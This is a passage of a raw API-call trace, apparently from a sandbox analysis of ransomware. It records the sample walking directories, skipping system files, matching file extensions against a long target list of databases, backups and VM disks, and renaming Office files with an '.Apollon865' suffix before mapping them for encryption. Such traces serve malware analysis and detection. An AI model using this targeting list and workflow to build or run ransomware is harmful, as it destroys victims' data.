	[0081.391] lstrlenW (lpString="rctd") returned 4
	[0081.391] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.391] lstrlenW (lpString="rod") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.391] lstrlenW (lpString="rodx") returned 4
	[0081.391] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.391] lstrlenW (lpString="rpd") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.392] lstrlenW (lpString="rsd") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.392] lstrlenW (lpString="sas7bdat") returned 8
	[0081.392] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.392] lstrlenW (lpString="sbf") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.392] lstrlenW (lpString="scx") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.392] lstrlenW (lpString="sdb") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.392] lstrlenW (lpString="sdc") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.392] lstrlenW (lpString="sdf") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.392] lstrlenW (lpString="sis") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.392] lstrlenW (lpString="spq") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.392] lstrlenW (lpString="te") returned 2
	[0081.392] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.392] lstrlenW (lpString="teacher") returned 7
	[0081.392] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.392] lstrlenW (lpString="tmd") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.392] lstrlenW (lpString="tps") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.392] lstrlenW (lpString="trc") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.392] lstrlenW (lpString="trc") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.392] lstrlenW (lpString="trm") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.392] lstrlenW (lpString="udb") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.392] lstrlenW (lpString="udl") returned 3
	[0081.392] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.393] lstrlenW (lpString="usr") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.393] lstrlenW (lpString="v12") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.393] lstrlenW (lpString="vis") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.393] lstrlenW (lpString="vpd") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.393] lstrlenW (lpString="vvv") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.393] lstrlenW (lpString="wdb") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.393] lstrlenW (lpString="wmdb") returned 4
	[0081.393] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.393] lstrlenW (lpString="wrk") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.393] lstrlenW (lpString="xdb") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.393] lstrlenW (lpString="xld") returned 3
	[0081.393] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.393] lstrlenW (lpString="xmlff") returned 5
	[0081.393] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.393] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.Apollon865") returned 84
	[0081.393] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.395] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=652640) returned 1
	[0081.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.395] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.396] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.396] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.396] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9f860, lpName=0x0) returned 0x15c
	[0081.397] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9f860) returned 0x4d0000
	[0081.428] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.429] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.429] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.430] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0081.436] CloseHandle (hObject=0x15c) returned 1
	[0081.436] CloseHandle (hObject=0x9c) returned 1
	[0081.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.439] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
	[0081.439] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.439] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.439] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".") returned 1
	[0081.439] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="..") returned 1
	[0081.439] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="windows") returned -1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="temp") returned -1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="boot") returned 1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="perflogs") returned -1
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.440] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0081.440] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 73
	[0081.440] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0081.440] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0081.440] lstrlenW (lpString="Apollon865") returned 10
	[0081.440] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.440] lstrlenW (lpString=".dll") returned 4
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.440] lstrlenW (lpString=".lnk") returned 4
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.440] lstrlenW (lpString=".ini") returned 4
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.440] lstrlenW (lpString=".sys") returned 4
	[0081.440] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.440] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0081.440] lstrlenW (lpString="bak") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.440] lstrlenW (lpString="ba_") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.440] lstrlenW (lpString="dbb") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.440] lstrlenW (lpString="vmdk") returned 4
	[0081.440] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.440] lstrlenW (lpString="rar") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.440] lstrlenW (lpString="zip") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.440] lstrlenW (lpString="tgz") returned 3
	[0081.440] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.440] lstrlenW (lpString="vbox") returned 4
	[0081.441] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.441] lstrlenW (lpString="vdi") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.441] lstrlenW (lpString="vhd") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.441] lstrlenW (lpString="vhdx") returned 4
	[0081.441] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.441] lstrlenW (lpString="avhd") returned 4
	[0081.441] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.441] lstrlenW (lpString="db") returned 2
	[0081.441] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.441] lstrlenW (lpString="db2") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.441] lstrlenW (lpString="db3") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.441] lstrlenW (lpString="dbf") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.441] lstrlenW (lpString="mdf") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.441] lstrlenW (lpString="mdb") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.441] lstrlenW (lpString="sql") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.441] lstrlenW (lpString="sqlite") returned 6
	[0081.441] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.441] lstrlenW (lpString="sqlite3") returned 7
	[0081.441] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.441] lstrlenW (lpString="sqlitedb") returned 8
	[0081.441] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.441] lstrlenW (lpString="xml") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.441] lstrlenW (lpString="$er") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.441] lstrlenW (lpString="4dd") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.441] lstrlenW (lpString="4dl") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.441] lstrlenW (lpString="^^^") returned 3
	[0081.441] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.442] lstrlenW (lpString="abs") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.442] lstrlenW (lpString="abx") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.442] lstrlenW (lpString="accdb") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.442] lstrlenW (lpString="accdc") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.442] lstrlenW (lpString="accde") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.442] lstrlenW (lpString="accdr") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.442] lstrlenW (lpString="accdt") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.442] lstrlenW (lpString="accdw") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.442] lstrlenW (lpString="accft") returned 5
	[0081.442] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.442] lstrlenW (lpString="adb") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.442] lstrlenW (lpString="adb") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.442] lstrlenW (lpString="ade") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.442] lstrlenW (lpString="adf") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.442] lstrlenW (lpString="adn") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.442] lstrlenW (lpString="adp") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.442] lstrlenW (lpString="alf") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.442] lstrlenW (lpString="ask") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.442] lstrlenW (lpString="btr") returned 3
	[0081.442] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.443] lstrlenW (lpString="cat") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.443] lstrlenW (lpString="cdb") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.443] lstrlenW (lpString="ckp") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.443] lstrlenW (lpString="cma") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.443] lstrlenW (lpString="cpd") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.443] lstrlenW (lpString="dacpac") returned 6
	[0081.443] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.443] lstrlenW (lpString="dad") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.443] lstrlenW (lpString="dadiagrams") returned 10
	[0081.443] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.443] lstrlenW (lpString="daschema") returned 8
	[0081.443] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.443] lstrlenW (lpString="db-journal") returned 10
	[0081.443] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.443] lstrlenW (lpString="db-shm") returned 6
	[0081.443] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.443] lstrlenW (lpString="db-wal") returned 6
	[0081.443] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.443] lstrlenW (lpString="dbc") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.443] lstrlenW (lpString="dbs") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.443] lstrlenW (lpString="dbt") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.443] lstrlenW (lpString="dbv") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.443] lstrlenW (lpString="dbx") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.443] lstrlenW (lpString="dcb") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.443] lstrlenW (lpString="dct") returned 3
	[0081.443] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.444] lstrlenW (lpString="dcx") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.444] lstrlenW (lpString="ddl") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.444] lstrlenW (lpString="dlis") returned 4
	[0081.444] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.444] lstrlenW (lpString="dp1") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.444] lstrlenW (lpString="dqy") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.444] lstrlenW (lpString="dsk") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.444] lstrlenW (lpString="dsn") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.444] lstrlenW (lpString="dtsx") returned 4
	[0081.444] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.444] lstrlenW (lpString="dxl") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.444] lstrlenW (lpString="eco") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.444] lstrlenW (lpString="ecx") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.444] lstrlenW (lpString="edb") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.444] lstrlenW (lpString="epim") returned 4
	[0081.444] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.444] lstrlenW (lpString="fcd") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.444] lstrlenW (lpString="fdb") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.444] lstrlenW (lpString="fic") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.444] lstrlenW (lpString="flexolibrary") returned 12
	[0081.444] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.444] lstrlenW (lpString="fm5") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.444] lstrlenW (lpString="fmp") returned 3
	[0081.444] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.445] lstrlenW (lpString="fmp12") returned 5
	[0081.445] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.445] lstrlenW (lpString="fmpsl") returned 5
	[0081.445] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.445] lstrlenW (lpString="fol") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.445] lstrlenW (lpString="fp3") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.445] lstrlenW (lpString="fp4") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.445] lstrlenW (lpString="fp5") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.445] lstrlenW (lpString="fp7") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.445] lstrlenW (lpString="fpt") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.445] lstrlenW (lpString="frm") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.445] lstrlenW (lpString="gdb") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.445] lstrlenW (lpString="gdb") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.445] lstrlenW (lpString="grdb") returned 4
	[0081.445] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.445] lstrlenW (lpString="gwi") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.445] lstrlenW (lpString="hdb") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.445] lstrlenW (lpString="his") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.445] lstrlenW (lpString="ib") returned 2
	[0081.445] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.445] lstrlenW (lpString="idb") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.445] lstrlenW (lpString="ihx") returned 3
	[0081.445] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.445] lstrlenW (lpString="itdb") returned 4
	[0081.446] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.446] lstrlenW (lpString="itw") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.446] lstrlenW (lpString="jet") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.446] lstrlenW (lpString="jtx") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.446] lstrlenW (lpString="kdb") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.446] lstrlenW (lpString="kexi") returned 4
	[0081.446] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.446] lstrlenW (lpString="kexic") returned 5
	[0081.446] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.446] lstrlenW (lpString="kexis") returned 5
	[0081.446] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.446] lstrlenW (lpString="lgc") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.446] lstrlenW (lpString="lwx") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.446] lstrlenW (lpString="maf") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.446] lstrlenW (lpString="maq") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.446] lstrlenW (lpString="mar") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.446] lstrlenW (lpString="marshal") returned 7
	[0081.446] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.446] lstrlenW (lpString="mas") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.446] lstrlenW (lpString="mav") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.446] lstrlenW (lpString="maw") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.446] lstrlenW (lpString="mdbhtml") returned 7
	[0081.446] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.446] lstrlenW (lpString="mdn") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.446] lstrlenW (lpString="mdt") returned 3
	[0081.446] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.447] lstrlenW (lpString="mfd") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.447] lstrlenW (lpString="mpd") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.447] lstrlenW (lpString="mrg") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.447] lstrlenW (lpString="mud") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.447] lstrlenW (lpString="mwb") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.447] lstrlenW (lpString="myd") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.447] lstrlenW (lpString="ndf") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.447] lstrlenW (lpString="nnt") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.447] lstrlenW (lpString="nrmlib") returned 6
	[0081.447] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.447] lstrlenW (lpString="ns2") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.447] lstrlenW (lpString="ns3") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.447] lstrlenW (lpString="ns4") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.447] lstrlenW (lpString="nsf") returned 3
